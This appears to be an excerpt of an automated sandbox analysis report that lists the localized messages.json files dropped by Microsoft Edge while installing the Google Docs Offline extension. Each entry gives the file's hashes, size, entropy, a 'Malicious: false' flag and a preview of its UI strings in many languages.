SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7524_1934543303\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
